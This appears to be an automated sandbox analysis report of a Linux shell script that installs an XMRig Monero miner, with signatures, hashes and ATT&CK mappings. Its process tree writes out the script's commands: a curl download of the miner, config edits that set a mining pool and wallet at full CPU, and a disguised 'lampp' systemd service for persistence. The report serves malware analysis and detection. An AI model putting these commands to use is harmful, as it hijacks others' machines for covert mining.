Analysis

  • max time kernel
    6s
  • max time network
    1032s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 12:06

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1587
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1590
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1591
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1594
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1595
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1621
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1622
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1623
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1623
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1623
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1623
                      • /usr/bin/rm
                        2⤵
                          PID:1624
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:1625
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1626
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                            • Reads runtime system information
                            PID:1631
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:1630
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:1629
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:1632
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1633
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-10\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1634
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1635
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1636
                                    • /usr/bin/sed
                                      sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                      2⤵
                                        PID:1637
                                      • /usr/bin/sed
                                        sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                        2⤵
                                          PID:1638
                                        • /usr/bin/cp
                                          cp /root/lampp/config.json /root/lampp/config_background.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:1639
                                        • /usr/bin/sed
                                          sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                          2⤵
                                            PID:1640
                                          • /usr/bin/cat
                                            cat
                                            2⤵
                                              PID:1641
                                            • /usr/bin/chmod
                                              chmod +x /root/lampp/miner.sh
                                              2⤵
                                                PID:1642
                                              • /usr/bin/sudo
                                                sudo -n true
                                                2⤵
                                                • Reads runtime system information
                                                PID:1643
                                                • /usr/bin/true
                                                  true
                                                  3⤵
                                                    PID:1644
                                                • /usr/bin/awk
                                                  awk "{print \$2}"
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1647
                                                • /usr/bin/grep
                                                  grep MemTotal /proc/meminfo
                                                  2⤵
                                                    PID:1646
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:1648
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1649
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                        • Reads runtime system information
                                                        PID:1650
                                                    • /usr/bin/sudo
                                                      sudo killall xmrig
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1651
                                                      • /usr/bin/killall
                                                        killall xmrig
                                                        3⤵
                                                        • Reads runtime system information
                                                        PID:1652
                                                    • /usr/bin/sudo
                                                      sudo systemctl daemon-reload
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1653
                                                      • /usr/bin/systemctl
                                                        systemctl daemon-reload
                                                        3⤵
                                                          PID:1654
                                                      • /usr/bin/sudo
                                                        sudo systemctl enable lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1688
                                                        • /usr/bin/systemctl
                                                          systemctl enable lampp.service
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:1689
                                                      • /usr/bin/sudo
                                                        sudo systemctl start lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1725
                                                        • /usr/bin/systemctl
                                                          systemctl start lampp.service
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:1726

                                                    Network

                                                    MITRE ATT&CK Matrix ATT&CK v13

                                                    Defense Evasion

                                                    Virtualization/Sandbox Evasion

                                                    2
                                                    T1497

                                                    Discovery

                                                    Virtualization/Sandbox Evasion

                                                    2
                                                    T1497

                                                    System Information Discovery

                                                    3
                                                    T1082

                                                    Command and Control

                                                    Web Service

                                                    1
                                                    T1102

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /root/lampp/config.json
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      f3294129e6b76283965ad86a815bf383

                                                      SHA1

                                                      5fe0ab538f86962efe82cb13fc2da745610740af

                                                      SHA256

                                                      578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                      SHA512

                                                      07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                    • /root/lampp/miner.sh
                                                      Filesize

                                                      253B

                                                      MD5

                                                      f96a321a262287ceae164f23f232ed9c

                                                      SHA1

                                                      d1eeab41f244b42377afd7cc3de7428736162b24

                                                      SHA256

                                                      f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                      SHA512

                                                      75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                    • /root/lampp/sedHt7WPH
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      8b11b027dd187104473ee7d661ffe25f

                                                      SHA1

                                                      ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                      SHA256

                                                      984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                      SHA512

                                                      1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                    • /root/lampp/sedL2QTku
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      6c48f7aefd3b5402dd513fbf0837e03b

                                                      SHA1

                                                      e57436c78dd60609d722ea1f8d53cad69efd8869

                                                      SHA256

                                                      d9a227a5ce3ce84baab63cf2eb46a6cf9ec5d69003334a40b8c5008ec18b5253

                                                      SHA512

                                                      1a71c4bb76b79acf3b4db0cc340d8ac269485a8a49d6712f0b23483e309c271c1a871e32d82cf26b945333a0e9884e6b3d2fcf59d7629c89e7206c68f9bdd9d1

                                                    • /root/lampp/sedPLTBq4
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      cd9490bae61f95ebb5eefc49f2dd9723

                                                      SHA1

                                                      6dffa1cc918224f093426ea257b71d36d95c528b

                                                      SHA256

                                                      ef2ce84d2af7d293d91d9071aba4ab6f8468e330080893b02b2b22466f25366d

                                                      SHA512

                                                      ac3e89a025cd3a4771482ffc31847d7288a45518a3ea75e6d0fc15bbf596bcf8e797620c75becd02628b61f74c9d00c1e6b6ea899ca6a93f738f202c67543f1e

                                                    • /root/lampp/sedQ51b3P
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      b2d49b5d2d7ca6bbabbeb915b79e6a32

                                                      SHA1

                                                      d4d582d6afde90cec31b32e48637ee7c636ef58e

                                                      SHA256

                                                      61a076c93dc22db2d5209315b72f240f234e3f02fac843c09ac934c9fc99e440

                                                      SHA512

                                                      2793aa1abfff8e0dcd723a838f08358fd1d2fdf375ef492a7d5d73acec51aa2a8ad2de74be33e2875388e9ab86bf6be703f651b4f2808ac5f660f10ddb51db0f

                                                    • /root/lampp/sedVnMvkO
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      0f1d16871c1106f1a2e3a6127e4c5f3c

                                                      SHA1

                                                      f191a559f885fec6daddbcba44a35632b67cd2ea

                                                      SHA256

                                                      67eea2f898b5e2776b7a3459a22a5dfc64ffff8f560c3b7e1eab1156b1b1e3d7

                                                      SHA512

                                                      f49bc1ae40b69318382399fa4aab43f691c9dd350e15bca74c90ce794363ad6bd8d01e7bdc95128c6222ae7147c2d3f4d1cbc3fe8d687ce189f375b6e6a2c6c4

                                                    • /root/lampp/sedmyGKrs
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      d489ddbbb83271e967b8af615d17d3c7

                                                      SHA1

                                                      f0394a367a60e9727269882154098dec802774ef

                                                      SHA256

                                                      5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                      SHA512

                                                      aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                    • /root/lampp/xmrig
                                                      Filesize

                                                      8.4MB

                                                      MD5

                                                      5d86761750250b046e55b113cee8a38a

                                                      SHA1

                                                      45d739c602a4adb0a80231b00b6c8e5c9e5ba2ce

                                                      SHA256

                                                      1e1d944d641b37dbeb571f89b53a63536abc3b898fb042c9dfe05290bdb35280

                                                      SHA512

                                                      7267e0f7d47fd01dfe2fe94655a44f56623ffd43c4d1003dab0fe226ece3d0b711612944e96e6ef341ec57bb23329cab32367ea554a65f911bd42533223c92ba

                                                    • /tmp/lampp.service
                                                      Filesize

                                                      177B

                                                      MD5

                                                      540c899b78585827e807a62f7345eaf5

                                                      SHA1

                                                      8bf3146889c6b15811f226bff9fbca24d184eff2

                                                      SHA256

                                                      b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                      SHA512

                                                      0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                    • /tmp/xmrig.tar.gz
                                                      Filesize

                                                      3.4MB

                                                      MD5

                                                      e003a3ec8bdd61151a61cadf950502c4

                                                      SHA1

                                                      2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                      SHA256

                                                      80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                      SHA512

                                                      ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9